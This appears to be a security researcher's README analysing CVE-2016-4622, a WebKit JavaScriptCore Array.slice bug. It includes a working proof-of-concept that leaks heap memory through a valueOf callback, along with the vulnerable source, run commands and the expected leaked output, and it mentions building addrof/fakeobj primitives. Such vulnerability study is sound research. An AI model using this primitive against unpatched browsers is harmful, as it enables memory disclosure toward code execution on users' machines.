WebKit CVE-2016-4622 Analysis: Deep Dive into the Slice ValueOf Fastpath Vulnerability

Comprehensive analysis and exploitation of the WebKit JavaScript Core vulnerability that enables memory disclosure through Array.slice manipulation

Table of Contents

• Executive Summary
• Vulnerability Overview
• Research Environment Setup
• Technical Analysis
• Exploitation Walkthrough
• Key Findings
• Resources and References

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Executive Summary

This repository contains a comprehensive analysis of CVE-2016-4622, a critical memory disclosure vulnerability in WebKit's JavaScript Core engine. The vulnerability stems from a race condition in the Array.slice() implementation that can be exploited to leak adjacent memory contents, serving as a foundation for more sophisticated exploitation primitives like addrof and fakeobj.

Impact: Memory disclosure leading to potential remote code execution Affected Component: WebKit JavaScript Core (JSC) Root Cause: Time-of-check-time-of-use (TOCTOU) vulnerability in fastSlice implementation

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Vulnerability Overview

The Core Issue

The vulnerability exists in WebKit's optimized "fast path" for the Array.slice() method. When processing slice parameters, the engine converts object arguments to primitive values by calling their valueOf() method. This conversion happens after determining the slice operation parameters but before the actual memory copy operation.

Attack Vector

var a = [];
for (var i = 0; i < 100; i++)
    a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);

What happens:

1. Array a is created with 100 elements
2. During slice parameter processing, valueOf() is called
3. The malicious valueOf() shrinks the array to length 0
4. memcpy attempts to copy 10 elements from an empty array
5. Result: Adjacent memory is copied, causing information disclosure

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Research Environment Setup

Repository Structure

WebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/    # Reference implementation by Saelo
├── Exploit/                        # Custom exploitation attempts
│   ├── poc-memleak.js             # Memory leak proof-of-concept
│   └── slice_over_array.js        # Educational examples
├── WebKit-SRC-CVE-2016-4622/     # Vulnerable source code (commit 320b1fc)
├── WebKit-Bins/                   # Compiled binaries for testing
│   ├── Debug/                     # Debug build with symbols
│   └── ASAN/                      # AddressSanitizer enabled build
└── Screenshoots/                  # Visual documentation

Testing Environment

Binaries: Pre-compiled JSC binaries built on VMWare OSX 10.11 with XCode 7.3.2 Architecture: x86_64 Mach-O executables Debug Features: Symbols + AddressSanitizer for comprehensive analysis

Running the Proof of Concept

cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js

# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0

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Technical Analysis

Understanding Array.slice() Mechanics

The Array.slice(begin, end) method creates a shallow copy of a portion of an array. Under normal circumstances:

var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3);  // Returns ['b', 'c']

Key insight: The end parameter undergoes type conversion via valueOf(), creating a window for exploitation.

Call Stack Analysis

When the vulnerability triggers, AddressSanitizer captures this call flow:

#0  memcpy-param-overlap detected
#1  JSC::JSArray::fastSlice()
#2  JSC::arrayProtoFuncSlice()
#3  JavaScript execution context

Deep Dive: Function-by-Function Analysis

1. arrayProtoFuncSlice() - Entry Point

Location: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    unsigned length = getLength(exec, thisObj);  // Initial length: 100
    
    // Critical: Parameter conversion happens here
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
    
    // Fast path determination
    std::pair<SpeciesConstructResult, JSObject*> speciesResult = 
        speciesConstructArray(exec, thisObj, end - begin);
    
    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
        // Vulnerability triggers here
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }
    // ... fallback implementation
}

2. argumentClampedIndexFromStartOrEnd() - The Conversion Trigger

Location: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236

static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    // CRITICAL: This is where valueOf() gets called
    double indexDouble = value.toInteger(exec);
    
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}

The Race Condition:

• When processing the second parameter {valueOf: function() { a.length = 0; return 10; }}
• value.toInteger(exec) calls our malicious valueOf()
• Our function modifies the array length from 100 to 0
• But the slice operation parameters (begin=0, end=10) remain unchanged

3. fastSlice() - Where Memory Corruption Occurs

Location: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720

JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
        // ... setup code ...
        
        auto& resultButterfly = *resultArray->butterfly();
        if (arrayType == ArrayWithDouble)
            // VULNERABILITY: Reads beyond array bounds
            memcpy(resultButterfly.contiguousDouble().data(), 
                   m_butterfly.get()->contiguousDouble().data() + startIndex, 
                   sizeof(JSValue) * count);
        // ...
    }
}

The Memory Corruption:

• startIndex = 0, count = 10
• Array length is now 0 (modified by valueOf())
• memcpy reads 10 JSValues starting from index 0
• Since the array is empty, this reads adjacent heap memory
• Result: Information disclosure vulnerability

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Exploitation Walkthrough

Step-by-Step Attack Flow

1. Setup Phase

   var a = [];
   for (var i = 0; i < 100; i++)
       a.push(i + 0.123);

   • Creates ArrayWithDouble type with 100 elements
   • Elements are stored contiguously in memory

2. Trigger Phase

   var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});

   • Initiates slice operation with malicious object as end parameter
   • Fast path validation passes (array appears normal)

3. Exploitation Phase

   • Parameter conversion calls valueOf()
   • Array length reduced to 0
   • fastSlice attempts to copy 10 elements from empty array
   • Adjacent memory leaked into result array

4. Result

   0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
   

   • First two values: legitimate array data
   • Remaining values: leaked adjacent memory

Visual Representation

Before valueOf():  [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf():   [] (length=0)
memcpy reads:      [0.123][1.123][LEAKED][LEAKED][LEAKED]...

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Key Findings

Root Cause Analysis

Component	Issue	Impact
Parameter Processing	TOCTOU in argumentClampedIndexFromStartOrEnd	Allows state modification during processing
Fast Path Logic	Insufficient validation in fastSlice	Bypasses bounds checking
Memory Operations	Unchecked memcpy in array copy	Direct memory disclosure

Exploitation Primitives

This vulnerability serves as a foundation for:

• Information Disclosure: Direct memory leak capability
• ASLR Bypass: Potential address space layout revelation
• Type Confusion: Setup for addrof/fakeobj primitives

Defensive Considerations

Mitigation Strategies:

• Validate array bounds before memcpy operations
• Implement consistent state checking in fast paths
• Add runtime bounds verification for optimized operations

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Resources and References

Research Papers & Articles

• Attacking JavaScript Engines - Saelo (Phrack)
• CVE-2016-4622 Analysis - TuringH
• Deep Dive Analysis - null2root
• WebKit Exploitation Tutorial

Technical Documentation

• Array.slice() - MDN Web Docs
• WebKit Source Code
• JavaScript Core Architecture

Tools & Environment

• Vulnerable Commit: 320b1fc3f6f
• Build Environment: VMWare OSX 10.11, XCode 7.3.2
• Analysis Tools: AddressSanitizer, GDB, JSC Debug Builds

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Research Timeline: April 11-12, 2020
Status: Analysis Complete ✅
Next Steps: Development of full exploitation chain with addrof/fakeobj primitives